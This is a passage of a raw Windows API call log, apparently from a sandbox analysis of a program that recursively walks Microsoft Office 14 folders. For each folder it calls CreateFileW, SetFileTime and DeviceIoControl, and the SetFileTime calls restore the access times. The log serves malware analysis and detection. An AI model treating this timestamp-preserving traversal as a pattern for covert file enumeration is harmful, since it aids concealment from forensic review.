"c:\\program files\\microsoft office\\office14\\groove\\xml files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.979] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.979] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\space templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.981] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0055.981] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a7da68, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0x1a7da68, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0055.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0055.982] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.982] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a7da68, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0x1a7da68, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0055.984] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.985] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a7da68, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1a7da68, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0055.987] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0055.987] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a7da68, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0x1a7da68, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0055.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.988] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.988] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a7da68, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1a7da68, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library" (normalized: "c:\\program files\\microsoft office\\office14\\library"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.988] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.988] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a7da68, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0x1a7da68, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.989] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.989] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a7da68, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1a7da68, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.991] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.991] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a7da68, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1a7da68, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" (normalized: "c:\\program files\\microsoft office\\office14\\media"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.992] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.992] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a7da68, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0x1a7da68, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" (normalized: "c:\\program files\\microsoft office\\office14\\onenote"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.995] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.995] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.997] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.997] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a7da68, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0x1a7da68, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0056.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0056.001] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0056.001] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a7da68, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0x1a7da68, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0056.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" (normalized: "c:\\program files\\microsoft office\\office14\\proof"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0056.005] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0056.005] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0056.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0056.008] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0056.008] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a7da68, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1a7da68, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0056.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1036"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0056.008] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0056.008] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a7da68, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1a7da68, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0056.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\3082"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0056.009] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0056.009] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a7da68, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1a7da68, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0056.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" (normalized: "c:\\program files\\microsoft office\\office14\\pubba"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0056.010] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0056.010] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a7da68, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0x1a7da68, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0056.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0056.012] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0056.012] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0056.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES" (normalized: "c:\\program files\\microsoft office\\office14\\queries"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0056.018] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0056.018] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0056.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES" (normalized: "c:\\program files\\microsoft office\\office14\\samples"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0056.022] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0056.022] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a89a68, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0x1a89a68, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0056.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP" (normalized: "c:\\program files\\microsoft office\\office14\\startup"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0056.022] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0056.022] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a89a68, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0x1a89a68, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0056.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content" (normalized: "c:\\program files\\microsoft office\\office14\\visio content"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0056.023] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0056.023] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a89a68, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0x1a89a68, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0056.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0056.024] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0056.024] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a89a68, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1a89a68, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0056.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART" (normalized: "c:\\program files\\microsoft office\\office14\\xlstart"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0056.033] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0056.033] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0056.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery" (normalized: "c:\\program files\\microsoft office\\stationery"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0056.036] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0056.036] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0056.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033" (normalized: "c:\\program files\\microsoft office\\stationery\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0056.037] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0056.037] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0056.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates" (normalized: "c:\\program files\\microsoft office\\templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0056.042] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0056.042] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0056.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033" (normalized: "c:\\program files\\microsoft office\\templates\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0056.042] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0056.042] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0056.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0056.047] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0056.047] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0056.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0056.050] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0056.050] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0056.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0056.057] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0056.057] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0056.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0056.060] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0056.060] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1acfe08, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0x1acfe08, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0056.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0056.060] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0056.060] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1acfe08, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1acfe08, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0056.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0056.064] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0056.064] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1acfe08, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1acfe08, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0056.065] CreateFileW (lpFileName="C:\\Program 